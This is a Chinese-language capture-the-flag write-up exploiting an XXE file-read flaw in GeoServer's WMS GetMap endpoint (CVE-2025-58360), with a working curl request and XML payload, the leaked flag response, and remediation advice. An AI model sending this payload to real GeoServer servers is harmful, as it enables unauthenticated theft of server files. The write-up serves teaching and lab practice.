玄机网络安全靶场:GeoServer XXE 任意文件读取(CVE-2025-58360)

解题报告:GeoServer XXE 任意文件读取(CVE-2025-58360)

平台: 玄机 (xj.edisec.net)
题目 ID: 443
难度: 简单
类型: 渗透
积分: 300 分
完成状态: ✅ 已完成
Flag: FLAG{CVE-2025-58360_GeoServer_XXE_Success}


一、漏洞背景

CVE-2025-58360 是 GeoServer(一款开源地理空间数据服务器)中存在的 XML 外部实体注入(XXE) 漏洞。该漏洞于 2025 年 11 月 25 日由 XBOW 安全研究团队披露,CVSS v3 评分 8.2(高危),且已被 CISA 确认存在在野利用。

属性 详情
CVE 编号 CVE-2025-58360
影响版本 GeoServer ≤ 2.25.5 及 2.26.0--2.26.1
修复版本 GeoServer 2.25.6 / 2.26.2 / 2.27.0+
漏洞类型 XML 外部实体注入(XXE → 任意文件读取 / SSRF)
漏洞端点 POST /geoserver/wms(operation=GetMap)
CVSS 评分 8.2(高危)
认证要求 无需认证(未授权可利用)

二、靶机信息

项目
靶机公网 IP 68.79.22.133
靶机内网 IP 10.0.10.2
服务端口 8081
服务路径 /geoserver
目标文件 /usr/local/flag.txt

三、漏洞分析

3.1 漏洞成因

GeoServer 的 WMS(Web Map Service)GetMap 操作支持通过请求体传入 StyledLayerDescriptor(SLD) 格式的 XML 数据,用于描述地图渲染样式。然而,GeoServer 使用的 XML 解析器未禁用外部实体解析(DTD/ENTITY),导致攻击者可以在 SLD XML 中定义外部实体,引用服务器本地文件,从而实现任意文件读取。

复制代码
POST /geoserver/wms?service=WMS&request=GetMap&...
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">    ← 定义外部实体
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>    ← 引用实体,触发文件读取
  </NamedLayer>
</StyledLayerDescriptor>

3.2 数据泄露路径

GeoServer 在处理 GetMap 请求时,将 <Name> 标签的内容作为图层名称进行查找。当图层名称不存在时,服务器会在 ServiceExceptionReport 响应中返回 Unknown layer: <图层名> 的错误信息,而此时图层名已被替换为外部实体的文件内容,从而实现带内(In-Band)XXE 数据泄露


四、漏洞利用过程

4.1 确认服务可访问

bash 复制代码
curl -s -o /dev/null -w "HTTP Status: %{http_code}\n" \
  http://68.79.22.133:8081/geoserver/web/
# 返回 HTTP 302(重定向至登录页),确认 GeoServer 服务存在

4.2 构造 XXE Payload

bash 复制代码
curl -s -X POST \
  -H "Content-Type: application/xml" \
  "http://68.79.22.133:8081/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" \
  --data '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///usr/local/flag.txt">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>
  </NamedLayer>
</StyledLayerDescriptor>'

4.3 服务器响应(含 Flag)

服务器返回 XML 格式的错误响应,文件内容在 <ServiceException> 标签中泄露:

xml 复制代码
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE ServiceExceptionReport SYSTEM 
  "http://68.79.22.133:8081/geoserver/schemas/wms/1.1.1/WMS_exception_1_1_1.dtd">
<ServiceExceptionReport version="1.1.1">
  <ServiceException>
    Unknown layer: FLAG{CVE-2025-58360_GeoServer_XXE_Success}
  </ServiceException>
</ServiceExceptionReport>

Flag 成功读取: FLAG{CVE-2025-58360_GeoServer_XXE_Success}


五、关键技术要点

1. 带内 XXE(In-Band XXE):本漏洞属于带内 XXE,文件内容直接在 HTTP 响应体中返回,无需外带(OOB)通道,利用极为简单。

2. 无需认证/geoserver/wms 端点无需登录即可访问,攻击者可直接发起利用。

3. 一次请求即可获取 Flag :整个利用过程仅需一条 curl 命令,响应时间约 2 秒,极为高效。

4. 数据泄露载体:GeoServer 将未知图层名称原样返回在错误信息中,这是 XXE 数据泄露的关键路径。


六、修复建议

修复方向 具体措施
升级版本 升级至 GeoServer 2.25.6、2.26.2 或 2.27.0 及以上版本
禁用外部实体 在 XML 解析器配置中设置 FEATURE_SECURE_PROCESSING = true,禁用 DTD 和外部实体
网络访问控制 限制 GeoServer 管理端口仅对可信 IP 开放
WAF 规则 检测请求体中包含 <!DOCTYPE<!ENTITYSYSTEM 等 XXE 特征的请求
相关推荐
凝小飞几秒前
cucumber JAVA 一键部署指南
java·集成测试·模块测试
java修仙传1 分钟前
Java 实习日记:断面状态筛选 Bug 修复与对比案例日期过滤优化
java·bug·实习
长谷深风1113 分钟前
Java并发编程:线程安全与多线程实战指南【个人八股】
java·安全·线程·进程·juc·并发与并行·上下文切换(性能影响因素)
Navicat中国13 分钟前
使用 SSL/TLS 安全连接数据库
数据库·安全·ssl
basketball61614 分钟前
C++ 强制类型转换:从 C 风格到 C++ 四大金刚
java·c语言·c++
yyuuuzz14 分钟前
谷歌云使用的几个常见注意事项
运维·服务器·网络·安全·web安全·云计算·aws
大明者省14 分钟前
完整 Ubuntu 服务器 XFCE 桌面 + XRDP 远程桌面 部署使用全流程
运维·服务器·ubuntu
Fu20672117 分钟前
OSPF笔记 OSPF --- 开放式最短路径优先
网络·笔记
上海云盾-小余18 分钟前
业务层 CC 攻击精准研判:行为识别与轻量化拦截方案
运维·服务器·安全·架构
Wpa.wk22 分钟前
APP自动化-Appium原理
运维·appium·自动化